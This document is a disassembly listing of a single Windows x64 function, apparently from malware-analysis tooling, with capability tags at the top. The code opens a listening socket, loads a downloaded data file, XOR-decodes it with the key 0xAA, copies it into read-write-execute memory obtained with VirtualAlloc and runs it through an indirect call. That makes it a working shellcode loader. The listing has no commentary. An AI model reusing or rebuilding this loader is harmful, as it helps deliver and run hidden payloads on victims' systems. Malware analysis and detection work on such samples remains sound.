Function at 0x14000c9d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get system information on windows
Initialize winsock library
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x640
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14002b040]
xor rax, rsp
mov qword [rsp + 0x610], rax
xor edi, edi
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x140], 4
jb 0x14000d84f
call fcn.14000c800
test al, al
je 0x14000d84f
mov r8d, 0x104
lea rdx, [rsp + 0x500]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14000ca76
lea rdx, str.Error_getting_path
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000fc30
lea rdx, [0x140012c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [rdi + 1]
jmp 0x14000d80f
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rdi
lea rax, [rsp + 0x500]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x14000caa3
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x90]
call fcn.140004050
nop
lea rbx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rbx, qword [rsp + 0x90]
mov rsi, qword [rsp + 0xa0]
test rsi, rsi
je 0x14000cb5b
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x260]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x140021fb4]
lea rdx, [0x140021fb6]
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rsp + rax + 0x260], 1
inc rcx
cmp rcx, rdx
jne 0x14000cb10
lea rax, [rsi - 1]
mov rcx, r14
cmp rax, r14
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rsp + rax + 0x260], 0
jne 0x14000cb56
cmp rcx, rbx
je 0x14000cb5b
dec rcx
movzx eax, byte [rcx]
cmp byte [rsp + rax + 0x260], 0
je 0x14000cb41
sub rcx, rbx
jmp 0x14000cb5e
mov rcx, r14
xorps xmm0, xmm0
cmp rcx, 0xffffffffffffffff
je 0x14000cbc9
inc rcx
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
cmp rsi, rcx
jb 0x14000d85b
sub rsi, rcx
cmp rsi, 0xffffffffffffffff
cmovb r14, rsi
lea rdx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rdx, qword [rsp + 0x90]
add rdx, rcx
mov r8, r14
lea rcx, [rsp + 0x30]
call fcn.140004050
lea rax, [rsp + 0x30]
mov ebx, 5
lea r14d, [rbx - 3]
jmp 0x14000ccbf
movups xmmword [rsp + 0x50], xmm0
lea r14, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova r14, qword [rsp + 0x90]
movabs rbx, 0x7fffffffffffffff
cmp rsi, rbx
ja 0x14000d861
cmp rsi, 0xf
ja 0x14000cc1d
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x50], xmm0
jmp 0x14000ccb1
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x14000cc59
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001e718
mov rcx, rax
test rax, rax
je 0x14000d7ba
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000cc93
mov rbx, rax
mov ecx, reloc.WS2_32.dll_shutdown
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000cc84
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000d867
jmp 0x14000cc37
test rcx, rcx
je 0x14000cc90
call fcn.14001e718
jmp 0x14000cc93
mov rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
mov r14d, 2
mov ebx, r14d
movups xmm7, xmmword [rax]
movups xmmword [rsp + 0x120], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rsp + 0x130], xmm6
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
test bl, 2
je 0x14000cd2e
and ebx, 0xfffffffd
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000cd2e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cd28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
nop
test bl, 1
je 0x14000cd70
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000cd70
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d75b
call fcn.14001e5f0
movq rax, xmm6
cmp rax, 0xf
ja 0x14000d843
mov ecx, 0x202
lea rdx, [rsp + 0x360]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000cda9
lea rdx, str.WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000fc30
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
mov word [rsp + 0x110], r14w
mov dword [rsp + 0x114], edi
mov ecx, 0xb5a5
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x112], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x110]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x14000ce0a
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, 3
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x14000ce2c
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Listening_on_port
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000fc30
call fcn.14000c030
test al, al
je 0x14000d843
lea rdx, str._data.dat
lea rcx, [rsp + 0xd0]
call fcn.14000eef0
nop
lea rdx, [0x140022000]
lea rcx, [rsp + 0xb0]
call fcn.14000eef0
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xd0]
call fcn.14000bc00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test al, al
lea rdx, str.File_downloaded_successfully.
jne 0x14000cea4
lea rdx, str.Failed_to_download_file.
call fcn.140012a20
lea rdx, [0x140012c00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x150]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x150]
call fcn.14000e7a0
nop
cmp qword [rsp + 0x1e0], 0
jne 0x14000d04d
lea rdx, str.Failed_to_open_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000fc30
lea rdx, [0x140012c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x160]
call fcn.14000e730
lea rcx, [rsp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 7
jbe 0x14000cfb5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000cfb0
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d6f7
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
mov word [rsp + 0xb0], di
movdqu xmmword [rsp + 0xc0], xmm0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 7
jbe 0x14000d016
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000d011
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d75b
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0xe0], xmm0
mov word [rsp + 0xd0], di
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 0xf
jbe 0x14000d52a
movq rcx, xmm7
jmp 0x14000d4fc
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rsi, qword [rax + 8]
add rsi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov qword [rsp + 0x88], rdi
test rsi, rsi
je 0x14000d0b8
mov rdx, rsi
lea rcx, [rsp + 0x78]
call fcn.1400142d0
mov rcx, qword [rsp + 0x78]
lea rbx, [rcx + rsi]
mov r8, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x80], rbx
mov r8, rsi
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x14000d15f
lea rdx, str.Failed_to_read_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000fc30
lea rdx, [0x140012c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000cf0f
mov rdx, qword [rsp + 0x88]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d144
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d63d
call fcn.14001e5f0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rdi
jmp 0x14000cf0f
lea rcx, [rsp + 0x160]
call fcn.14000f980
test rax, rax
jne 0x14000d194
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x150]
add rcx, rax
xor r8d, r8d
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rdx, qword [rsp + 0x80]
mov r8, rdi
mov rax, qword [rsp + 0x78]
mov rcx, rdx
sub rcx, rax
cmp rax, rdx
cmova rcx, rdi
test rcx, rcx
je 0x14000d20f
cmp rcx, 0x40
jb 0x14000d20f
and rcx, 0xffffffffffffffc0
movdqa xmm1, xmmword [0x140022c10]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
xorps xmm0, xmm1
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
xorps xmm0, xmm1
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
xorps xmm0, xmm1
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
add r8, 0x40
cmp r8, rcx
jne 0x14000d1d0
cmp rax, rdx
je 0x14000d21f
xor byte [rax], 0xaa
inc rax
cmp rax, rdx
jne 0x14000d214
call fcn.14001e168
lea rcx, str.2.dat
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 5
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0xf0]
call fcn.14000b1b0
nop
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 7
cmova rcx, qword [rsp + 0xf0]
call fcn.14001e2fc
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x14000d86d
test cl, cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x14000d2a5
lea rdx, str.File_deleted_successfully.
call fcn.14000fc30
lea rdx, [0x140012c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000d2c2
lea rdx, str.File_not_found.
call fcn.14000fc30
lea rdx, [0x140012c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14000d2c6
mov rdx, qword [rsp + 0x80]
sub rdx, qword [rsp + 0x78]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000d577
lea rdx, str.Memory_allocation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000fc30
lea rdx, [0x140012c40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 7
jbe 0x14000d35d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d5e2
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0x100], xmm0
mov word [rsp + 0xf0], di
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000d3c6
mov rdx, qword [rsp + 0x88]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d3b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d63d
call fcn.14001e5f0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rdi
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x160]
call fcn.14000e730
lea rcx, [rsp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 7
jbe 0x14000d46c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d467
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d6f7
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0xc0], xmm0
mov word [rsp + 0xb0], di
mov rdx, qword [rsp + 0xe8]
cmp rdx, 7
jbe 0x14000d4cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d75b
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0xe0], xmm0
mov word [rsp + 0xd0], di
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x14000d52a
mov rcx, qword [rsp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d524
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d7ba
call fcn.14001e5f0
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x14000d56d
mov rcx, qword [rsp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d568
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d801
call fcn.14001e5f0
mov eax, 1
jmp 0x14000d80f
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 7
jbe 0x14000d5ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d5e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0x100], xmm0
mov word [rsp + 0xf0], di
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000d65a
mov rdx, qword [rsp + 0x88]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d644
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d644
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rdi
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x150], rax
mov rax, qword [rsp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x14c], edx
lea rcx, [rsp + 0x160]
call fcn.14000e730
lea rcx, [rsp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 7
jbe 0x14000d703
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d6fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d6fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0xc0], xmm0
mov word [rsp + 0xb0], di
mov rdx, qword [rsp + 0xe8]
cmp rdx, 7
jbe 0x14000d767
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d762
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d762
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
movdqa xmm0, xmmword [0x140022bf0]
movdqu xmmword [rsp + 0xe0], xmm0
mov word [rsp + 0xd0], di
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x14000d7c7
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d7c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x14000d80d
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d808
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d808
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e5f0
xor eax, eax
mov rcx, qword [rsp + 0x610]
xor rcx, rsp
call fcn.14001e5d0
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r14
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.14000fb00
int3
call fcn.140001280
int3
call fcn.1400011e0
nop
shr rcx, 0x20
lea r8, [rsp + 0xf0]
mov edx, ecx
call fcn.14000bb90
int3